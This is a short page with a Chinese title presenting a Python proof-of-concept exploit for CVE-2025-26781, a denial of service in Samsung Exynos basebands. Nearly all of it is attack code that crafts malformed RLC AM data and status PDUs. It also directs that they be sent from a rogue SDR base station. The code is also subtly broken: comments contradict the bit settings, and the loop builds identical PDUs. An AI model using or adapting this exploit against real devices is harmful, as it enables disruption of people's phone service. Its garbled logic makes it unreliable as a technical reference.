CVE-2025-26781：三星Exynos处理器RLC AM PDU处理拒绝服务漏洞

# CVE-2025-26781 PoC - Samsung Exynos RLC AM PDU Denial of Service # This PoC demonstrates the concept of triggering the vulnerability # by sending malformed RLC AM PDUs to the target device. import struct import socket class RLC_AM_PDU_Crafter: """Crafts malformed RLC AM PDUs to trigger CVE-2025-26781""" # RLC AM PDU types RLC_AM_DATA_PDU = 0x00 RLC_AM_STATUS_PDU = 0x01 def __init__(self): self.sequence_number = 0 def craft_malformed_data_pdu(self): """ Craft a malformed RLC AM Data PDU with invalid length field to trigger buffer overflow / resource exhaustion """ # RLC AM Data PDU header # D/C bit = 0 (Data PDU), P bit, SI field, SN field # Set SI to 11 (reserved/invalid combination) pdu_header = 0x00 pdu_header |= (1 << 0) # D/C = 0 (Data PDU) pdu_header |= (1 << 1) # P = 1 (Polling bit set) pdu_header |= (3 << 2) # SI = 11 (invalid/reserved) pdu_header |= (self.sequence_number & 0x3FF) << 4 # SN (10-bit) # Malformed payload with excessive length indicator # LI field set to maximum value (127) repeatedly payload = b'\x7f' * 50 # Excessive length indicators return struct.pack('>H', pdu_header) + payload def craft_malformed_status_pdu(self): """ Craft a malformed RLC AM Status PDU to trigger state machine confusion """ # RLC AM Status PDU with invalid ACK_SN and NACK range status_pdu = b'\x01' # D/C = 1 (Control PDU) status_pdu += struct.pack('>H', 0xFFFF) # Invalid ACK_SN (overflow) # NACK with invalid range causing resource exhaustion status_pdu += b'\x00\x01' # NACK_SN status_pdu += b'\x7f\xff' # Invalid range (SOstart, SOend) return status_pdu def craft_overflow_sequence(self): """ Craft a sequence of PDUs with rapidly incrementing sequence numbers to trigger sequence number overflow handling issues """ pdus = [] for i in range(1024): sn = (self.sequence_number + i) & 0x3FF pdu = self.craft_malformed_data_pdu() pdus.append(pdu) return pdus def exploit(): """ Main exploit function Note: Actual exploitation requires a rogue base station (e.g., using SDR) This demonstrates the PDU crafting logic """ crafter = RLC_AM_PDU_Crafter() # Generate malformed PDUs malformed_data_pdu = crafter.craft_malformed_data_pdu() malformed_status_pdu = crafter.craft_malformed_status_pdu() overflow_sequence = crafter.craft_overflow_sequence() print(f"[*] Crafted malformed RLC AM Data PDU: {malformed_data_pdu.hex()}") print(f"[*] Crafted malformed RLC AM Status PDU: {malformed_status_pdu.hex()}") print(f"[*] Crafted overflow sequence: {len(overflow_sequence)} PDUs") print("[*] These PDUs should be transmitted via a rogue base station") print("[*] using SDR equipment (e.g., USRP, srsLTE/Open5GS) to trigger DoS") if __name__ == "__main__": exploit()